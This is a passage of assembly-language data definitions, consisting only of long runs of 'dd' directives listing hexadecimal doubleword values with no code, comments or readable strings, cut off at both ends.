1A997F9Bh dd 4AF86F96h, 0BF6078Bh, 0FE3BD94Fh, 404BABA0h, 69C09C73h dd 63EB7057h, 5DCF0A2Bh, 0F2323Ch, 0B7DB7DE8h, 0EA3A73C0h dd 0FE4D809Ch, 0C758CB48h, 53BD00BBh, 0AEAF4412h, 82006D18h dd 775C2DB3h, 900A338Ah, 140505BEh, 0D09A1264h, 3AE7865Ch dd 0F53FB105h, 0E497D1B7h, 32FD05C0h, 0B8CA0310h, 4C767D1Bh dd 403F180Fh, 0F9470F12h, 53004811h, 688137BEh, 0B22FE0h dd 0FD46F410h, 0D4A46CDFh dd 1AD13300h, 0BEEE3673h, 368DEC7h, 9EB6B8A2h, 4E1858A0h dd 0E1D6F502h, 0E137E0B5h, 1CF1A3CBh, 64C0F4h, 5BF50B7h dd 8DEC7316h, 0E8B12201h, 899172D9h, 2568880h, 4FFA3298h dd 0F87B4C3Fh, 0CB0ACD00h, 0B0F0CC86h, 821F095Dh, 9040602Ah dd 0CD049B85h, 37BC9DC3h, 4439CB7h, 289F6FB1h, 88FA15E8h dd 481E07B0h, 87C0FE07h, 8BA5E9h, 0F7DCEE8Dh, 0E3FA33FBh dd 0F10CA9D6h, 841D2905h, 44F53422h, 41005BF7h, 0AAA974E9h dd 13AE84h, 5A163FDBh, 8570D547h, 0D98DB700h, 998AAF56h dd 125B1D07h, 0D8F94F2Eh, 6126F760h, 72700297h, 0A73CB809h dd 74B40060h, 418C243h, 0CD01006h, 0AABCA09Bh, 1B3EC600h dd 4C9140CCh, 0F1F6616Dh, 248C1D15h, 0E3E45674h, 11E5C130h dd 0CE9B54h, 4ECAD60Bh, 351E87EBh, 72CF39h, 0D144D348h dd 362DE24h, 328F753Ah, 86B12E2Dh, 0DA91801Dh, 85BC82AFh dd 0F5E01A2h, 5689AE43h, 0A6B8504Fh, 0F092EDCEh, 0E2C09A01h dd 7F0CE44Ch, 3A301DF1h, 710D3017h, 0AE4FB891h, 5A477B11h dd 76FEA700h, 1B7D95D0h, 36880905h, 0E4C0E711h, 0F2C354h dd 0C1DB7FE8h, 0F58E151h, 0F8322C2Ch, 78A90E0Ch, 6E7200FAh dd 4DB5D55Dh, 0BF09C08Bh, 5BB302h, 75283D43h, 0F1AC0080h dd 0D627DBCFh, 0C200C911h, 7F415A7Eh, 0AE8366h, 0BE5F1710h dd 0D0999EFAh, 1D284058h, 8D80E14Eh, 87437E0Ah, 334A1835h dd 719A3093h, 0A24DC100h, 0D837C055h, 0C66B00E3h, 3014F96Dh dd 1F00A8F8h, 18366CF7h, 74F9A83h, 0EF264A93h, 1C441107h dd 0E025D958h, 0F200DE0Fh, 5D94565h, 0B8C1140h, 0CD600A5Bh dd 9EE22418h, 0FCD3C12Ah, 3B7BD958h, 99430025h, 0E787A981h dd 17EE676h, 971096C2h, 0EC0F5F88h, 8D0060F9h, 5471EC27h dd 76DBDC9h, 0DE99062Ch, 58EA0028h, 0CF2E8DEBh, 3680F0CBh dd 0DD948ADAh, 0CE5407F1h, 0A03F60FEh, 9096DC33h, 510CC900h dd 76F5BFE9h, 904E5807h, 0E4F4A000h, 739F7B98h, 4B127102h dd 0E1EA3FAFh, 0F070FDE4h, 18A6EAADh, 0C894B6E2h, 1D0478A2h dd 406F72BAh, 0F0B71491h, 5924E434h, 5412043Eh, 0A3446A6h dd 0D6202962h, 154A0059h, 5072BC9Ch, 0CF3822A1h, 10C400D9h dd 47F6446Eh, 5C7800CBh, 0C6500E69h, 0C11E7A56h, 13C1D9A0h dd 1DEC9D20h, 79380120h, 736830B6h, 16027D20h, 98A90D00h dd 413189EDh, 0C96F013Eh, 0A893EF50h, 2384205Eh, 7CE14900h dd 0B69CB2B1h, 37E300FBh, 0ED4F221Eh, 0FF00AD78h, 0B74EA185h dd 3F8072h, 91363A63h, 0EF7EC081h, 9C89CE1Eh, 0B0185A80h dd 906EAF04h, 5B5C16C0h, 99BC20CAh, 0CC0A087Eh, 8CF88DEEh dd 49CAC187h, 0CCE8AF0h, 294B0246h, 0E988A813h, 7F770040h dd 9B731B00h, 0B208D3C3h, 68ECAAh, 0C9A34C49h, 0EE926FDAh dd 2BE0B03h, 0F898BA73h, 0EF3274h, 5861C81Bh, 9F6592B1h dd 627F0200h, 0B594D828h, 3D420E91h, 33A0C10Ch, 616AF55Ch dd 0CF862401h, 0B0DEB15Ah, 3EFDBC60h, 9F039170h, 66890E7Fh dd 0D9C23C8h, 0CD30E401h, 0E9435C09h, 1DD8B3F4h, 0C0A69E31h dd 1A59AD02h, 5D00635Fh, 70E2DB83h, 0E4DEBFh, 0A614E01Bh dd 8B79296h, 0FD3CF0Eh, 6028CE59h, 6CCCDC7Dh, 302B00F9h dd 5BC2D818h, 9200CF87h, 39BB90C1h, 24567481h, 1C5E8A1Ch dd 5940C02Fh, 0DD270C9Eh, 0D3984400h, 0AAA5D161h, 0C09C00C7h dd 99CBB75Dh, 0F75C4EB6h, 0E37300D4h, 0BE01F2FFh, 0C7FE3C93h dd 53F440Fh, 96B4A5C0h, 0A6EEE48Fh, 0AA8BB600h, 99163001h dd 0EC40E1Eh, 7A81F739h, 64AC5A1Bh, 150C4060h, 282D6254h dd 0E87D0232h, 0D43948D3h, 170B461h, 3181B7BAh, 1F29C2EBh dd 0AE88247Fh, 0A3DDB906h, 10A9CAh, 40FD7413h, 9DED0577h dd 94000890h, 8C9BF4CFh, 0F71E3A1h, 68C91D2Ah, 0FD3420E0h dd 0AE0BBD0Ch, 4EC326Dh, 50C0A30Bh, 13D59092h, 8E363BE6h dd 1AFFF200h, 500E5C16h, 61E28217h, 10911FA2h, 38530AE8h dd 0CE285270h, 4DF900F0h, 0CBC058B6h, 3F0F76EAh, 0EFF3896Fh dd 0E9C553Bh, 80C9617Bh, 0C164CAC8h, 0FA1FF233h, 6C67487Ah dd 6DD7A400h, 6ACFF6F8h, 0BB0527E8h, 0D9B90EF3h, 61695C0h dd 22F70041h, 1CD82052h, 0D8906C87h, 80E3543Dh, 67425758h dd 0C27644h, 99294363h, 0A66D5E9Ch, 0DF0458B9h, 28A2F321h dd 49207DE8h, 603F0004h, 0FE3C4712h, 1884D4B7h, 81328607h dd 0A2178EB1h, 0FC0ECF30h, 7FF822Bh, 0B510809Bh, 12D582C7h dd 80EAB12Ah, 56CDF150h, 5AF47503h, 61D209h, 10484E08h dd 4F3736FEh, 3C566900h, 9A141994h, 0BECF0058h, 0B132D9A2h dd 51F2D82h, 12000445h, 631851Dh, 181F04Ch, 2CED95CEh dd 0F0BF49CFh, 0A20AA179h, 60DEB72Dh, 42383D18h, 4AFF7C3Ch dd 9F9422D3h, 0FA02BA04h, 0D4E0410Bh, 0BE174F85h, 0E001F298h dd 8EE14394h, 399EF7D9h, 0B1E200E6h, 0A9E059A2h, 12103D0Eh dd 9CAA8ABDh, 17E8E11h, 0B99308E1h, 0CA158FC5h, 0B044B0F0h dd 4A1604CDh, 916B3998h, 9F6CD990h, 1C001E48h, 0D22D68FCh dd 0E6390DDh, 0D770A376h, 0B4BE2Ah, 4927DED4h, 8D72791Eh dd 879FE818h, 2D68908h, 5CBFF638h, 1C48856Eh, 480024E5h dd 9B015BAEh, 0A14F2h, 0F7C2C37Dh, 981F2707h, 2AD03100h dd 0D5B74B16h, 987B6072h, 0C72DDB53h, 0A9639F30h, 0C62A34h dd 0C0E94277h, 0A6B7D4E0h, 0C0628E28h, 0B9CBAC03h, 6E9C49h dd 3BC15531h, 6FEC2926h, 5CF4D000h, 0DC2D9AC5h, 21FED6h dd 541124Eh, 878588B1h, 284449h, 8F39F11Dh, 3B829EAh, 36791FFh dd 0D0C7D54Ch, 794D16Dh, 0CE078575h, 20490DA8h, 0B71DF90h dd 2AB03002h, 187A25D8h, 0D0698203h, 28C1DE2Dh, 48B89728h dd 0C020C94h, 0DC888C12h, 0B35D29C0h, 989C8A54h, 6F95510Ch dd 8511BDh, 1C92FF7Bh, 0ED7DCDBFh, 1177138h, 2BF7E755h dd 69F49012h, 87D1148Eh, 8D00C8E2h, 59190F7Eh, 8F26E54Eh dd 650330D6h, 0C0BA7C23h, 84AF71h, 85CD1BC1h, 88F967B0h dd 7D39E61Eh, 0DA0110ECh, 0BB569B9Eh, 3A4A1F0h, 67334E1Eh dd 16F8C6BDh, 6400848Bh, 35421DB6h, 1FBABCABh, 5E7BDE4Fh dd 0A95E4EA1h, 0AAE0332h, 707C70F5h, 0FA046D52h, 9ACB3BC0h dd 0C01F8939h, 0F700A0E5h, 94850D6Ch, 490F1DBBh, 0C25C80AAh dd 897BAE06h, 0A3FA1E01h, 0B4EF66Dh, 843B2990h, 0EA4808C1h dd 29322A4Ah, 0A0F1097h, 8AFBB688h, 29217AC3h, 0D980843h dd 0B484C290h, 427F4807h, 682EF10Ch, 53288FCh, 8848AB88h dd 0BA90F575h, 485B6784h, 3CF84287h, 26218624h, 11B31251h dd 445208B7h, 4284B5FFh, 3FF211EFh, 0CB087E21h, 841B9057h dd 4A4821C2h, 24526342h, 48D34CF7h, 0E40200E0h, 37E850C1h dd 0DC00D626h, 66FC328Bh, 0FA35D8D9h, 75DB00E1h, 0DEF3B7E4h dd 8D0FD791h, 406EF188h, 0C792B94Dh, 693B0055h, 98AFB7BDh dd 52003202h, 0C4CB009h, 1567064h, 0F10AA7E1h, 30DC1558h dd 0EF002A71h, 93ECF7F5h, 38651694h, 0E380B3C2h, 128E15BDh dd 0B6007492h, 78D8FCE8h, 1DCA90F8h, 0C0BCDAABh, 8407119Eh dd 0A97B1B62h, 0CC5B371Fh, 746D6B40h, 29BC8C4h, 0B12F65B0h dd 584087E3h, 2A008F72h, 0B92D9F1Bh, 83A9A3h, 44ED5143h dd 0D16CF9A1h, 0C8DCD300h, 9BFBAB63h, 6F3B037h, 0FEC45827h dd 8E01D1A8h, 3B15A349h, 75D9D8EEh, 929A39FCh, 7D7E0088h dd 7D1A654h dd 7300554Ah, 5AAD8F69h, 8DBB06h, 0BAEEF0D5h, 6BF70DCDh dd 0E1AE803h, 664744h, 0CC4E9628h, 0FD789435h, 7E2AB51Eh dd 0F05CA200h, 0C3A4DCh, 0DD30B2B0h, 5DB82C1Fh, 8FE61606h dd 1D40380Bh, 0BC3226h, 90D81EEAh, 290009ABh, 92EB1AD5h dd 0F0473AFh, 5FBD78Fh, 6E7C2E61h, 0F22F021h, 0CAA4E10Eh dd 308A4257h, 0C8E56381h, 0BE8CF2h, 75C6DF5h, 0BD979FF4h dd 0C53D95B0h, 1AAE803Ch, 0D541A92Bh, 0ACEE05A2h, 5E0630h dd 48528C88h, 0A81D7E04h, 7940449Dh, 1C8D7AE2h, 72D03D4Ch dd 11485480h, 0E081A7B7h, 7A1F6300h, 0F758734Ah, 7034263Ch dd 0F94E00D7h, 716D5F48h, 64AFB600h, 7D4F46F6h, 0D1650AFAh dd 7C0BDBh, 0FF505F0Ch, 0D001AA5Ah, 3BC0EDF8h, 8CF87ADCh dd 386412BDh, 484D0962h, 16B81B00h, 1F00C525h, 5B2015A0h dd 73A8E30h, 6BFE4D6Ah, 0C3C7C0A6h, 90F0B7EAh, 500F6E6h dd 0B82236EBh, 12F85D6Eh, 40468854h, 37951F14h, 9A05B39Bh dd 0EC41EE94h, 0C213490h, 88E000F6h, 0BEAAC518h, 3FB8D16Fh dd 62026607h, 7750B4D8h, 0C7AD05h, 0BACF90A8h, 1E1B24A3h dd 20A04500h, 0FD3AA62Bh, 0A06B633Dh, 0C6E07134h, 0D140B7C2h dd 4A3E00B0h, 0DF9CDDF6h, 63F5B5Ch, 0B71400B3h, 5973B82Eh dd 0B2250085h, 915A7801h, 0E100ED33h, 0CCDE273Eh, 1D734980h dd 0A2A7C5h, 5D6C3B96h, 0A51C3219h, 0F9BB31EAh, 2B429900h dd 88689ABCh, 80C84808h, 80C65F1Dh, 5C50472Ah, 21000B8Ah dd 0C5B3C191h, 0BB7E34h, 0D7B2AF56h, 3AA0A26Dh, 0C6CBB700h dd 3F11A51Ch, 0BF061E25h, 0E2FA83D1h, 0A4E005E0h, 0FE00FBA3h dd 3A02C439h, 6AEDFCh, 0E8474314h, 82045520h, 1536840h dd 6BB2D219h, 430C9C10h, 6AD0B9F0h, 4D006108h, 493ED1DDh dd 7B84EFh, 0F929EC4Ah, 0C2358875h, 2B777404h, 3FC0D1AAh dd 195342Fh, 5AEF4E01h, 0F17AF846h, 4C68E456h, 39732098h dd 2F540F1Fh, 3FC6A880h, 0D6F902h, 0A4E02CDDh, 1956AD3Bh dd 0EB230B00h, 57158F44h, 0A9DF00EFh, 0EAB64E69h, 160349D6h dd 5FFDD080h, 0A348907Ch, 77E909D2h, 6500EF69h, 7F1C701Fh dd 4A463100h, 1BCA6DEBh, 9FDF0093h, 0A3D606BEh, 8898372Ah dd 3843C900h, 3579A096h, 40F3395Fh, 62301C30h, 3B006E86h dd 7D89E2F5h, 7A83D9h, 0FA0CCEBDh, 62079E17h, 3E42E700h dd 8B4BF32Eh, 0EECE28Ah, 0BF1113E3h, 3883E800h, 0B101C5E6h dd 4E75C831h, 4480D0E4h, 9DFD6989h, 37004173h, 0DA08957Ah dd 7E6F921Fh, 26B270EBh, 0C8B503h, 7D5FC678h, 810F4CCBh dd 601C21BAh, 53F879D3h, 49AF0011h, 7061A888h, 0E8A063BBh dd 76003B47h, 112C086h, 74AB13h, 0BD358F15h, 0BF82585Ch dd 4AB2AA00h, 0A13A3DA7h, 6CD20088h, 0AC39CC8Ch, 5E489132h dd 28400014h, 4F1A4AB1h, 2CFC3C8Bh, 7EA67700h, 6A277005h dd 0A4528100h, 0A5EA336h, 0B26C00ACh, 5F8006ADh, 29005D89h dd 52A995DDh, 0E66879h, 0FDF37688h, 58825B1Bh, 999D9300h dd 63160EFAh, 9657176Ch, 257F0E51h, 3187C1DDh, 30F1AB3Eh dd 8100E3DFh, 37896D99h, 3A126FCh, 729BF5C5h, 0E2003DF8h dd 4C38325Fh, 8D460Bh, 1AF2AFFh, 45E21F1Ch, 5400BB7Eh dd 0E1CE224Fh, 0B327619h, 0B0513413h, 0AF994503h, 0E83E1201h dd 808D9E6Fh, 2CF14DE0h, 3077584Bh, 0A3940D38h, 4E581E60h dd 0D20C8Fh, 6833A8C9h, 32EE7E99h, 806D7A3Bh, 2262D97Bh dd 0A12F86Ah, 8AF7EC88h, 0E88C16ECh, 43FF0180h, 0D0F49EE5h dd 0B0C71C75h, 25CE307h, 44345FACh, 0EEC0BFDFh, 0CA03D70Ah dd 0D52E1553h, 7B80E0CFh, 0C04058FBh, 10ECAC2Ah, 0CB569Eh dd 31B9C29Fh, 82BFD0Eh, 664D3EA8h, 0D12C4407h, 0A5CADCE0h dd 0FE6E00B5h, 5F6968FBh, 6003F9C4h, 7E332451h, 2D3299E2h dd 64E420h, 0D7204544h, 0FF58E774h, 0C6001FE0h, 30DFB4F9h dd 0E827895h, 7C892F53h, 737649E0h, 0FF0E81F0h, 84A9E523h dd 0C5C06619h, 24375A3Dh, 0D793DDh, 69D2822Dh, 0EA006595h dd 57D9E239h, 2F9105h, 2573CD4Ah, 90AF6F3h, 0ECFB4001h dd 22DA8964h, 2EF43CF4h, 14FCCBh, 232A06FEh, 0D73F9CB9h dd 3DAB028Eh, 40C22038h, 1076D5h, 25D54A47h, 6E30438Ah dd 857A2900h, 0CCEAE479h, 1E620EC7h, 34015105h, 0ECC0A224h dd 1600D749h, 6DA50B1Ah, 523663h, 4B04DBCDh, 853D38F8h dd 0E2745F0Eh, 37C15E9Eh, 208049CBh, 3B6F9C70h, 430BAE24h dd 1FC709h, 0DC64AF44h, 0DD07C9A0h, 0AB58EF27h, 0B2521100h dd 557405ECh, 80812163h, 431DA288h, 83E13A00h, 98624D6Ch dd 0A7F50745h, 30872305h, 80C9966Dh, 32853712h, 0CDFA7000h dd 28F2B1h, 0D22CD073h, 0CC295640h, 1B10CA01h, 885D4CA0h dd 0AEF3E4h, 0B67DF838h, 740D557Ch, 260FD307h, 333C659h dd 10CFE0D0h, 63751725h, 0C7A10091h, 70FAD2FFh, 5EF6B401h dd 315477A7h, 97D84E8h, 108E7B8Fh, 8678AE80h, 400F087h dd 0E4FCB4F2h, 0B0ADAB29h, 55122E6Bh, 0A7780E2Ch, 3C275960h dd 13000BE9h, 0A42E0E4Fh, 7598A0h, 0CE0F12Bh, 6DB37948h dd 4D8FDC00h, 0A52F09D6h, 66E91780h, 8AA400FCh, 41461DAFh dd 9B4735Ch, 482A6C90h, 516DEE8h, 5C7D32D3h, 25D4437Bh dd 2DA86E01h, 9600044Ah, 0CF2183ABh, 33FE8FCh, 1D9E9755h dd 29C03090h, 6A7495B8h, 0EB88350h, 6C5FA005h, 0E80EAAAh dd 63E6E1h, 78522DC2h, 0D212BD01h, 27760E00h, 0D9A2608Ch dd 807003E8h, 5AFA4D75h, 0C84BFCA0h, 0A00849h, 47E15BDFh dd 24BA98h, 7D2D8D3Ch, 0F933E48Ah, 0E3005970h, 0F139785Eh dd 12EB4BAh, 28BDC2AAh, 0D08DDEBCh, 6DF07C04h, 0A71C3E00h dd 0E8EEF3F4h, 0F542078Eh, 40C95C27h, 59D91193h, 0A44CFB00h dd 0BFDD3802h, 475002Eh, 7246A0FCh, 0C200CCAFh, 3F67AB5Eh dd 0FA7EE1Dh, 0C8FDC4ACh, 13BF52A0h, 7003430h, 117F64E0h dd 0A1CAEBh, 5D2C32B7h, 1686419Ch, 1DEC2200h, 20B609C9h dd 0ABAC018Bh, 0DEB388CBh, 5524605Fh, 1EE00300h, 31437A30h dd 865A0067h, 62EFBAF2h, 5F00FE59h, 891C9E22h, 83ADB6h dd 0AE302048h, 0AF702AB8h, 993F1A17h, 224F11Eh, 0ADD9B900h dd 772C88ABh, 140FA46h, 708FB039h, 7055A092h, 5101FDB5h dd 0C414E72Eh, 52303FB5h, 0D699006Dh, 8CB920D7h, 7900F0A5h dd 1370A96Ch, 77CF9DE1h, 0DF1C0072h, 7D8FBDC1h, 504C73E4h dd 0BA4200E5h, 648122CBh, 0C4091445h, 1014A44Ah, 4C7F9462h dd 720CD3h, 6C5960CCh, 860B7865h, 0B3D6D400h, 0B595D835h dd 6356000Ch, 88CA69Bh, 0C2049420h, 2931C892h, 0C032D7C0h dd 57A4A085h, 8C9D276Eh, 628A0C22h, 4263908Fh, 4AD031FEh dd 0AF00B7BCh, 0AAEA13FBh, 0F1D135h, 0DE7577FDh, 7686E068h dd 0DFE1C703h, 726B3833h, 50F31631h, 0EA5C00DEh, 0E467A90Bh dd 78830237h, 0D5D03870h, 314E6077h, 3FCC1597h, 67165E17h dd 0C1282418h, 359600D2h, 0FF231420h, 13F8D883h, 3646F900h dd 2C278862h, 2DDC1D6Ah, 0EE0600FDh, 0AC7DF387h, 3602487Eh dd 0D4EA11AFh, 0F0507031h, 0B2B02C7h, 0EC4722A0h, 85FC9C62h dd 0E062003Ah, 8F264DC0h, 2ECEF417h, 900FEA7h, 4A80A672h dd 92932129h, 515E8A30h, 1F547F82h, 0E62DD3D0h, 9DEF0CA3h dd 0DD3C3C59h, 61BC0BA5h, 0BB4009Eh, 0ADAA59h, 160A7F4Ch dd 0B3EEE877h, 80E0480Eh dd 82ABE0E2h, 0E8FA0CF2h, 0A4790706h, 1C1F78A2h, 58093440h dd 490710h, 28E795A0h, 4BCB003Ah, 3FEF3796h, 0C90085E2h dd 987588B1h, 0A8705Eh, 0BD2D252Ch, 33668360h, 491C9000h dd 1D3D05F0h, 0C17600EDh, 7BDD52C7h, 0C00D070h, 2D2A827Dh dd 3C3B7C4h, 42382916h, 6A00EE12h, 47764C68h, 74C2937Ah dd 1F633C9Eh, 0C4869B00h, 0FFB14294h, 0F55AFB00h, 0FE206EC6h dd 0B54F0015h, 0F006D2E4h, 0BE007DB8h, 0CBEDFB47h, 9E5EF2h dd 0A837D64Ah, 43751F2Eh, 76DEE300h, 0A7A92630h, 0E2CC073Eh dd 604DFD13h, 0BF6651B6h, 0BE39FC1Eh, 7B2D5E80h, 1D06936Eh dd 403D5BDEh, 0A9A74738h, 650720CAh, 4AA4F85Fh, 0BB9025F0h dd 0DB3200B0h, 482D91B9h, 9500A9CEh, 8CFBEA0Ah, 5BD5D38h dd 0DC040D8Eh, 418C009Ch, 68CBB352h, 0B736A600h, 28593110h dd 0A3A901C1h, 0BFE0795Eh, 0F80DC041h, 542CF20Eh, 37E5A0E3h dd 0D801EDh, 0A5FA1BCBh, 5E7CF0C5h, 0B9C3D000h, 0CCA3AAB5h dd 4F320089h, 4165C222h, 0AE00EB55h, 3ABAC40Fh, 749B1B0h dd 0FA2BADF2h, 0F092719Ah, 0EC89C853h, 9D0090F4h, 0AB98C4C2h dd 45D2F04h, 0DDFEF958h, 1F42C005h, 0B007783Ch, 7B4C7462h dd 0E1C5A09Fh, 0FCD677D3h, 6B89Dh, 0D78409B4h, 0BB3769E7h dd 0A1366F01h, 7CB36496h, 2C1BDCFCh, 784256h, 4F55A890h dd 40B0075Ch, 4C195AA0h, 0C5A65300h, 0FF5DC392h, 3770007Eh dd 0A8889C20h, 2D48289Ah, 563D0044h, 4DD79E46h, 0B28C0F4Fh dd 0E1C08FCDh, 14A1771Ch, 0D11A0700h, 34E47C43h, 92167DA4h dd 3DD503B8h, 0BBA5403Bh, 1C4465AAh, 8FAAEA62h, 849440B6h dd 57DB0DEEh, 0E0387241h, 0E7073B02h, 0C0F68CBBh, 47007E37h dd 76173ABh, 0D6F47174h, 6172049h, 0F898FC4Dh, 0ED2E3B7Ch dd 7709D06Eh, 5C88E003h, 759F706Bh, 820C3B92h, 8A4840B0h dd 65004606h, 0F59C7503h, 71E1B1h, 0A2CC6C5Ah, 404EA87Dh dd 0EC805301h, 7F72185Eh, 0AC16C0h, 73550959h, 0CFEEBD3Bh dd 1902D57Ah, 8F476DBBh, 0DDD9C01Fh, 25000AEh, 0C79AB32Dh dd 0A2E2B654h, 0AAFAFF00h, 0EFD023FCh, 502A0015h, 62210907h dd 0E200A253h, 3E99D91Bh, 7742CEAh, 0D0F639CBh, 0A5BC603Ah dd 0F14BB38h, 1794677Eh, 94007B04h, 2FF556B6h, 9AA1007Fh dd 0E4750543h, 571D8778h, 1F9FD04Ch, 290BC8C1h, 0C47083A7h dd 0D97F0001h, 38F15B72h, 20091130h, 8088E7BAh, 8E6E2CF0h dd 1A55BF9h, 397DC108h, 652F701Ah, 7323D400h, 0B6CEE42Eh dd 34A40052h, 0B06829BDh, 0F40074ADh, 0C040B409h, 3A720DDCh dd 8301A4BEh, 78259B1Dh, 8BF45173h, 271C30A7h, 7F466500h dd 80F50E95h, 579A00B5h, 5F7C242Ah, 69EE2D88h, 0D9CF5300h dd 8714FD0Fh, 4EF296h, 82547A48h, 94EE1391h, 0ABAA9F02h dd 0D929D0D3h, 9BA108A0h, 0B5194B00h, 20A37Dh, 0EFAC5546h dd 0BC543E98h, 305A7012h, 0DA623E00h, 9D3489h, 11403355h dd 8CC81096h, 0FE61EE00h, 4FDDADE7h, 0D309009Ch, 6D440AC6h dd 567BC168h, 539D371Ch, 8238D40h, 24CB51Ch, 0D121DA41h dd 9DC0EF47h, 0AB718E0Eh, 866A5901h, 9C6CC1E1h, 0F8E47BE9h dd 30E9025Eh, 1B234ED3h, 608B4FE1h, 0AA00A24Dh, 0E5107CFBh dd 0E82C75h, 0D1F9CEC1h, 1A6AD041h, 0EB43CA09h, 9DF887CBh dd 1981B340h, 807F0034h, 1CF07728h, 94E05BC1h, 0E9E7F212h dd 530BE00h, 0BA5545h, 216E3258h, 0B9D717BFh, 654EA507h dd 68B02FC4h, 246B12FDh, 0D885E6h, 5427344h, 0D900DE71h dd 0DB184F4Eh, 506FBEh, 870E57F7h, 547DA386h, 0D2D0CF03h dd 80CCE6B7h, 0B4B71h, 1ACEB351h, 0B60870DFh, 5D4EEC00h dd 77E540D5h, 716F252h, 0E26B83DDh, 0DA0E20DBh, 0A103C734h dd 175E568Ah, 0E16DB2B2h, 6961E33Ch, 7FE85C8h, 3731F016h dd 671710ADh, 4C007C03h, 7F64D46Dh, 259868Dh, 32EAF727h dd 9C484EB0h, 580099A2h, 8C0990A5h, 5AABC8Fh, 17EB067Eh dd 7210D071h, 0BA24DE45h, 0C6125462h, 0B533E07h, 988075F7h dd 0BC7E57h, 766DD492h, 0DD7F3ED2h, 28FE5400h, 8895136Bh dd 4F610F25h, 0C6598ACh, 82ADC36Ah, 8CAAC800h, 1139222Dh dd 1754F7Fh, 7EA31310h, 0E6FB200Fh, 8800E77Ch, 22D6CEA2h dd 0AC893F3h, 19C354B8h, 0BA000ECh, 0FD12C94Eh, 7846BD1Dh dd 0C3BEB1CFh, 0E8C490F6h, 0C25963h, 82809942h, 0CB295A6Dh dd 3303C17Ch, 86A696Eh, 574FD8B4h, 9F83018Dh, 841ED5ABh dd 154EE082h, 791F0204h, 5088EA76h, 4C01989Dh, 7339B8F2h dd 43FB5C80h, 6DA0C79Bh, 4CB6AF03h, 133013Ch, 4D63BC98h dd 508DFFD9h, 11C97FACh, 2F05B27Dh, 0DA7D5D92h, 642EFF03h dd 5233B814h, 0CB50308h, 0EE5D2850h, 8E105921h, 51385ABDh dd 0D801428Ch, 3BE01AC4h, 4FD4A8C7h, 0C811072Eh, 50FB3902h dd 84F24B93h, 0C5219200h, 8094EA0Bh, 0F6AB2F60h, 1EA8C080h dd 5659E891h, 0FBC90724h, 0F8D08B13h, 0BC7AE36h, 0DF33DA3Bh dd 25506CC0h, 7DD53700h, 0FA0F5D94h, 0DC901A1h, 4805108h dd 0DB2980ADh, 8A672617h, 28E3C11h, 0E35F92h, 0C2DD49ECh dd 6A007BFCh, 2F0F819Ch, 30D7BDCBh, 6BC8474Ch, 0A0E3A3Ch dd 15B11452h, 0CC32288h, 0F949FDB5h, 182EAAB1h, 3C806403h dd 2F8F5C7Fh, 11F70024h, 0ED3D0E91h, 8667D861h, 1FB1D999h dd 418BFA33h, 9C8A29E8h, 0A9C38144h, 8CCC4767h, 19287AA0h dd 88EED9h, 0EDF50C8Eh, 31190224h, 0A0BC2500h, 2858E885h dd 75B03BCCh, 73A3B583h, 2C8894DCh, 0F6738016h, 0DA016DFCh dd 1F0D08E0h, 9AC015CAh, 0D00095B5h, 73D3468Ch, 0B1592800h dd 558E24E0h, 57FB00A0h, 54EA1407h, 3207EEB0h, 89587F97h dd 0C896D562h, 0CC3D30h, 6B21BDBCh, 817EB352h, 5145A500h dd 0A8DF8F83h, 0BAACA02Bh, 0CF12006Fh, 0D6BE4D3Eh, 18C02888h dd 628C83FEh, 0B0752470h, 34D90173h, 74A71AE8h, 0C7009970h dd 24A20929h, 1DFEB1C8h, 4956BB90h, 0D880115Fh, 31E9A5D0h dd 68D12C00h, 4ED78B37h, 988A009Fh, 35D8DB38h, 2B0030EEh dd 624B5AFAh, 0F085B4BAh, 2AB500C9h, 0F9B8CD08h, 0E01FDB10h dd 0C5C014A9h, 0AE9D58B0h, 0DF88002Ch, 0D5398ED3h, 4C078AB9h dd 931C1D4Fh, 0F06B6EB3h, 0FE713Eh, 1245D12Eh, 5B18E929h dd 0A10092ECh, 0B7AD8C31h, 0ECE1EEDEh, 6B6A005Fh, 0FFA69339h dd 924D142h, 8B008D06h, 2BB92D3Fh, 0B03B071Dh, 805F49F2h dd 815575DAh, 0BAB41F0Eh, 2228E7A5h, 9A144251h, 5E23EC8h dd 0F946FAECh, 3D80EADFh, 4A7D541h, 359265C6h, 0C8B880B1h dd 7C1C8C57h, 0F4C01F1Bh, 35DEC30h, 804900C9h, 7B183F43h dd 6EE0F1D9h, 4DA0B101h, 760605F3h, 1162DCh, 0A5C69883h dd 0EB9FD8BCh, 0BF81E803h, 0F81DA2AAh, 24DF3A3Dh, 8078DC30h dd 462E2057h, 2D020AACh, 8AD1AEFAh, 71C81014h, 9FEF2100h dd 2BEDE6DCh, 0EAAF38E9h, 0AD62260Fh, 0BDFFEEA0h, 0CE50B805h dd 1F0020FEh, 0A5929310h, 6F91F4h, 0A8C990E9h, 83E26453h dd 3850814Ch, 87258957h, 0AADC2203h, 0D8660Eh, 0EF4D81B4h dd 21AD6F50h, 8C9F561Dh, 0B0B14AC1h, 0B83066BCh, 0A0E903EAh dd 1E97215Ah, 163C86B4h, 0D273000h, 0CA4DB162h, 10AA0035h dd 23D5DD95h, 0EC3F70A6h, 4C440048h, 2D99D4CDh, 1B52036Ah dd 7671A353h, 859C1280h, 0FC956900h, 562B8F15h, 0A97701C1h dd 1172EBABh, 40C22061h dd 0FEE29F00h, 6EDBD66h, 8073C7h, 65487660h, 14948D6Fh dd 6DB25800h, 0F5308B75h, 747A0177h, 67450419h, 2E1EE4A5h dd 684F6E26h, 63B86000h, 0F6712942h, 2A10B05Dh, 0D8C720h dd 4C1AA975h, 9D78F9F8h, 6E689C03h, 80550CB0h, 783AD63h dd 5AD66D15h, 0C0BE6405h, 4EABBF20h, 0F18C5E00h, 0B2F8994Ch dd 0AAAC00FFh, 0E2D49716h, 800D919h, 792F02E0h, 204CE9F6h dd 310073CBh, 0EC5C17A1h, 3DEEABD8h, 8F2CDA47h, 389140D4h dd 0D005E50h, 0CBF6B579h, 1CD3E52Ch, 8053FE48h, 7CC1326Fh dd 0C9FCAD73h, 0C848h, 0F430E302h, 2C11F5A1h, 2479D8BAh dd 0C8A0738h, 0C2A34FFFh, 8FD03A43h, 0DB00B63Bh, 6FA66D20h dd 362E4h, 0D7AB5A42h, 8C8EB7DAh, 43202305h, 2081E80Dh dd 7C64BF05h, 0D189164Ch, 0A68C40B4h, 7D79BE5Fh, 1DA3100h dd 17150BD4h, 7CA5079Ch, 83350D52h, 0D0ACB423h, 2D5A92A0h dd 0C2F4FD05h, 5CE0DF96h, 0D0190008h, 912AC8Eh, 89EF4A71h dd 875ED1B0h, 7C5076C7h, 13121634h, 52625Ah, 0B1790910h dd 